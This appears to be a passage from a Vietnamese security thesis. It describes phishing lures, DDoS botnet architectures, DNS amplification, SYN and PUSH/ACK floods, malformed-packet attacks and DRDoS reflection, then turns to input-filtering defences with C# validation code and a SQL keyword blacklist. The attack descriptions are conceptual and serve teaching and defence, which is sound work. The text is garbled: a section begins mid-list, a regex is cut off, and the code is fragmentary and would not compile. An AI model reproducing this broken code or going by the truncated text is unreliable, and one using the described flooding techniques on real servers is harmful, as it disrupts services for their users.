 Attacker gửi các thiệp điện tử được nhúng kèm những chương trình nguy hiểm Dạng tấn công này thường sử dụng các dịp lễ, tết để đánh lừa người sử dụng

 Attakker tạo ra các email chứa trojan trong các tập tin đính kèm và gửi cho người dùng, yêu cầu anh ta mở các file đính kèm để xem thêm các nội dung để tìm cách cài đặt trojan, virus…

2 Kỹ thuật tấn công từ chối dịch vụ

Nguyên tắc: Chiếm dụng một lượng lớn tài nguyên của hệ thống cung cấp bằng nhiều cách gây nên quá tải và ngừng cung cấp dịch vụ Việc này phụ thuộc vào khả năng của kẻ tấn công và sức chịu đựng của mục tiêu

Hacker sẽ chiếm dụng một lượng lớn tài nguyên trên server, tài nguyên có thể là băng thông, bộ nhớ, CPU, đĩa cứng, làm cho server không thể nào đáp ứng các yêu cầu khác từ các client của những người dùng bình thường và có thể nhanh chóng bị ngừng hoạt động, crash hoặc reboot

2.2 Các mô hình tấn công DdoS

2.2.1 Mô hình Agent – Handler:

Hình 8 – Kiến trúc attack-network kiểu Agent – Handler

Theo mô hình này, attack-network gồm 3 thành phần: Agent, Attacker và Handler

 Attacker: là software cơ sở để hacker điều khiển mọi hoạt động của network

attack- Handler : là một thành phần software trung gian giữa Agent và Attacker

 Agent : là thành phần software thực hiện sự tấn công mục tiêu, nhận điều khiển

từ Attacker thông qua các Handler

Thông thường Attacker sẽ đặt Handler software trên một Router hay một server có lượng traffic lưu thông nhiều Việc này nhằm làm cho các giao tiếp giữa Attacker, handler và Agent khó bị phát hiện Các giao tiếp này thông thường xảy ra trên các protocol TCP, UDP hay ICMP Chủ nhân thực sự của các Agent thông thường không

hề hay biết họ bị lợi dụng vào cuộc tấn công kiểu DDoS, do họ không đủ kiến thức hoặc các chương trình Backdoor Agent chỉ sử dụng rất ít tài nguyên hệ thống làm cho hầu như không thể thấy ảnh hưởng gì đến hiệu năng của hệ thống

2.2.2 Mô hình IRC – Based:

Hình 9 – Kiến trúc attack-network của kiểu IRC-Base

IRC – Based net work cũng tương tự như Agent – Handler network nhưng mô hình này sử dụng các kênh giao tiếp IRC làm phương tiện giao tiếp giữa Client và Agent (không sử dụng Handler) Sử dụng mô hình này, attacker còn có thêm một số lợi thế khác như:

 Các giao tiếp dưới dạng chat message làm cho việc phát hiện chúng là vô cùng khó khăn

 IRC traffic có thể di chuyển trên mạng với số lượng lớn mà không bị nghi ngờ

 Không cần phải duy trì danh sách các Agent, hacker chỉ cần logon vào IRC server là đã có thể nhận được report về trạng thái các Agent do các channel gửi

về

 Sau cùng: IRC cũng là một môi trường file sharing tạo điều kiện phát tán các Agent code lên nhiều máy khác

2.3 Phân loại tấn công DdoS

Nhìn chung, có rất nhiều biến thể của kỹ thuật tấn công DDoS nhưng nếu nhìn dưới góc độ chuyên môn thì có thể chia các biến thể này thành hai loại dựa trên mục đích tấn công: Làm cạn kiệt băng thông và làm cạn kiệt tài nguyên hệ thống

Agent Agent Agent Agent Agent

Victim

IRC NETWORK

2.3.1 Làm cạn kiệt băng thông của mạng

Có hai loại làm cạn kiệt băng thông mạng (BandWith Depletion Attack):

+ Flood attack: Điều khiển các Agent gửi một lượng lớn traffic đến hệ thống dịch vụ

của mục tiêu, làm dịch vụ này bị hết khả năng về băng thông

+ Amplification attack: Điều khiển các agent hay Client tự gửi message đến một địa

chỉ IP broadcast, làm cho tất cả các máy trong subnet này gửi message đến hệ thống dịch vụ của mục tiêu Phương pháp này làm gia tăng traffic không cần thiết, làm suy giảm băng thông của mục tiêu

Hình 10 – BandWith Depletion Attack - Amplification attack

Theo hình 10: attacker đăng ký với một DNS server và public một số bản ghi dung lượng lớn Sau đó ra lệnh cho các agent (botnet) tấn công, các agent sẽ gửi request đến DNS server yêu cầu bản ghi lớn này, nhưng trên Header của gói tin yêu cầu ghi IP của victim Và khi DNS server gửi bản ghi dung lượng lớn này về cho victim, victim sẽ bị suy giảm băng thông nghiêm trọng

2.3.2 Làm cạn kiệt tài nguyên

Làm cạn kiệt tài nguyên (Resource Deleption Attack) là kiểu tấn công trong đó Attacker gửi những packet dùng các protocol sai chức năng thiết kế, hay gửi những packet với dụng ý làm tắt nghẽn tài nguyên mạng làm cho các tài nguyên này không phục vụ user thông thường khác được

1/ Protocol Exploit Attack:

TCP SYS Attack: Transfer Control Protocol hỗ trợ truyền nhận với độ tin cậy cao nên sử dụng phương thức bắt tay giữa bên gởi và bên nhận trước khi truyền dữ liệu Bước đầu tiên, bên gửi gởi một SYN REQUEST packet (Synchronize) Bên nhận nếu nhận được SYN REQUEST sẽ trả lời bằng SYN/ACK REPLY packet Bước cuối cùng, bên gửi sẽ truyên packet cuối cùng ACK và bắt đầu truyền dữ liệu

Hình 11 –Protocol Exploit Attack: Cơ chế TCP SYN/ACK

Nếu bên server đã trả lời một yêu cầu SYN bằng một SYN/ACK REPLY nhưng không nhận được ACK packet cuối cùng sau một khoảng thời gian quy định thì nó sẽ resend lại SYN/ACK REPLY cho đến hết thời gian timeout Toàn bộ tài nguyên hệ thống “dự trữ” để xử lý phiên giao tiếp nếu nhận được ACK packet cuối cùng sẽ bị “phong tỏa” cho đến hết thời gian timeout

Hình 12 –Protocol Exploit Attack: Dùng IP không có thực

Nắm được điểm yếu này, attacker gởi một SYN packet đến nạn nhân với địa chỉ bên gửi là giả mạo, kết quả là nạn nhân gửi SYN/ACK REPLY đến một địa chỉ khác và sẽ không bao giờ nhận được ACK packet cuối cùng, cho đến hết thời gian timeout nạn nhân mới nhận ra được điều này và giải phóng các tài nguyên hệ thống Tuy nhiên, nếu

Malicious

TCP

Client

Victim TCP Server

SYS packet with a deliberately fraudulent (spoofed) source IP return address

Service Port 1-1023

lượng SYN packet giả mạo đến với số lượng nhiều và dồn dập, hệ thống của nạn nhân

có thể bị hết tài nguyên

Hình 13 –Protocol Exploit Attack: Kết quả

Trong TCP protocol, các packet được chứa trong buffer, khi buffer đầy thì các packet này sẽ được chuyển đến nơi cần thiết Tuy nhiên, bên gửi có thể yêu cầu hệ thống unload buffer trước khi buffer đầy bằng cách gởi một packet với PUSH và ACK mang giá trị là 1 Những packet này làm cho hệ thống của nạn nhân unload tất cả dữ liệu trong TCP buffer ngay lập tức và gửi một ACK packet trở về khi thực hiện xong điều này, nếu quá trình được diễn ra liên tục với nhiều Agent, hệ thống sẽ không thể

xử lý được lượng lớn packet gửi đến và sẽ bị treo

2/ Malformed Packet Attack:

Malformed Packet Attack là cách tấn công dùng các Agent để gửi các packet có cấu trúc không đúng chuẩn nhằm làm cho hệ thống của nạn nhân bị treo

Có hai loại Malformed Packet Attack:

+ IP address attack: dùng packet có địa chỉ gửi và nhận giống nhau làm cho hệ điều

hành của nạn nhân không xử lý nổi và bị treo

+ IP packet options attack: ngẫu nhiên hóa vùng OPTION trong IP packet và thiết

lập tất cả các bit QoS lên 1, điều này làm cho hệ thống của nạn nhân phải tốn thời gian phân tích, nếu sử dụng số lượng lớn Agent có thể làm hệ thống nạn nhân hết khả năng

2.4 DRDoS (Distributed Reflection Denial of Service)

- Bước 2 : Server sau khi nhận được tín hiệu SYN trên sẽ gửi lại cho client gói tin SYN/ACK xác nhận việc thiết lập liên kết (đây là lý do xuất hiện từ Reflection – Phản xạ trong tên gọi của cách thức tấn công này)

- Bước 3 : Client sau khi nhận được gói tin SYN/ACK trên, nó sẽ gửi tiếp cho Server gói tin ACK Kết thúc bước này giữa client và server đã hoàn thành một kết nối

2.4.2 Cách thức thực hiện tấn công DRDoS

Về cơ bản, DRDoS là sự phối hợp giữa hai kiểu DoS và DDoS Nó có kiểu tấn công SYN với một máy tính đơn, vừa có sự kết hợp giữa nhiều máy tính để chiếm dụng băng thông như kiểu DDoS Kẻ tấn công thực hiện bằng cách giả mạo địa chỉ của server mục tiêu rồi gửi yêu cầu SYN đến các server lớn như Yahoo, Microsoft…, để các server này gửi các gói tin SYN/ACK đến server mục tiêu Các server lớn, đường truyền mạnh đã vô tình đóng vai trò zombies cho kẻ tấn công như trong DDoS

Hình 14 – Sơ đồ mô tả kiểu tấn công DRDOS

Quá trình gửi cứ lặp lại liên tục với nhiều địa chỉ IP giả từ kẻ tấn công, với nhiều server lớn tham gia nên server mục tiêu nhanh chóng bị quá tải, bandwidth bị chiếm dụng bởi server lớn Tính nghệ thuật là ở chỗ chỉ cần với một máy tính với modem 56kbps, một hacker lành nghề có thể đánh bại bất cứ máy chủ nào trong giây lát mà không cần chiếm đoạt bất cứ máy nào để làm phương tiện thực hiện tấn công

CHƯƠNG III: GIẢI QUYẾT VẤN ĐỀ

1 Các kỹ thuật phòng chống

Các kỹ thuật phòng chống được nên ra dưới đây đều do tác giả đề xuất sau khi

đã tham khảo ý kiến từ các thành viên khác trong dự án, bên cạnh đó tác giả cũng phụ trách việc lập trình các hàm dung chung nêu trong mục 2.1.1 (lọc dữ liệu đầu vào), 2.1.3 (mã hóa dữ liệu đầu ra), 2.1.4 (server control webcaptchar) và 2.3.1 (web service)

1.1 Phòng chống từ mức xây dựng mã nguồn ứng dụng

Điểm yếu SQL Injection, XSS, CSRF bắt nguồn từ việc xử lý dữ liệu từ người dùng không tốt, do đó vấn đề xây dựng mã nguồn đảm bảo an ninh là cốt lõi của việc phòng chống SQL Injection, XSS, CSRF Các giải pháp ở mức mã nguồn ứng dụng được đưa ra dựa trên tài liệu TCVN 27002:2011 mục 10.4.1 (Biện pháp chống lại mã độc) và mục 10.9.3 (Thông tin công bố công khai)

1.1.1 Lọc dữ liệu đầu vào

Dữ liệu đầu vào cần đảm bảo các nguyên tắc sau

 Chỉ chấp nhận những kiểu dữ liệu hợp lệ

 Từ chối nhận các dữ liệu hỏng, vô lý

 Liên tục kiểm tra và thanh lọc dữ liệu

 Tạo ra danh sách những thẻ HTML được phép sử dụng, xóa bỏ thẻ <script> hoặc đóng các thẻ Script trong thẻ <comment> coi đoạn Script đó như là một đoạn trích dẫn thôi

 Lọc ra bất kì một đoạn mã JavaScript/Java/VBScript/ActiveX/Flash Related

 Lọc dấu nháy đơn hay kép

Đây được coi là công việc quan trọng đầu tiên cần xử lý trong chuỗi các thao tác Có hai mô hình có thể được áp dụng cho việc lọc dữ liệu đầu vào, đó là sử dụng whitelist, hoặc blacklist Các mô hình này sẽ được minh họa sau đây dưới ngôn ngữ phát triển ứng dụng web C#

Whitelist

Mô hình whitelist liệt kê danh sách những giá trị input nào được cho phép, chính vì thế khi xây dựng nó đòi hỏi người phát triển phải hiểu rõ logic nghiệp vụ của ứng dụng được xây dựng Một số đặc điểm của input mà mô hình này chú ý tới như kiểu dữ liệu,

độ dài, miền dữ liệu (đối với input kiểu số) hoặc một số định dạng chuẩn khác Ví dụ, với dạng một username thường dùng cho một database công ty, thì một mẫu hợp lệ sẽ

là các ký tự giới hạn trong cỡ 15 ký tự, chỉ chứa chữ cái và con số Các điều kiện này phụ thuộc nhiều vào logic nghiệp vụ và thỏa thuận với người sử dụng Phương pháp đơn giản và hiệu quả nhất để xây dựng các mẫu (pattern) hợp lệ là sử dụng biểu thức chính quy (regular expression) Xét một số mẫu biểu thức chính quy áp dụng cho username, password, email sau đây:

 Username: chỉ chứa các ký tự chữ cái, chữ số và dấu gạch dưới, độ dài tối đa 30

public enum TypeControl { Int32, Int64, Email, UserName };

private string strBlackList =

"select;update;delete;drop;alter;exec;union;and;or;';-;% ";

Thêm thuộc tính Error và Type cho control này nhƣ sau

private string strError;

public string Error

private TypeControl type;

public TypeControl Type

public string Text

string email = base.Text;

Regex regex = new z0-9]+.){1,}[a-z]+(|$)");

Match match = regex.Match(email);

catch

{

throw new Exception("Dữ liệu phải là kiểu số: >=" + Int32.MinValue.ToString() + " và <=" + Int32.MaxValue.ToString()); }

}

else

{

string user_name = base.Text;

Regex regex = new Regex(@"^([a-zA-Z0-9]|_){3,30}$"); Match match = regex.Match(user_name);

if (match.Success)

{

strError = "";

return base.Text;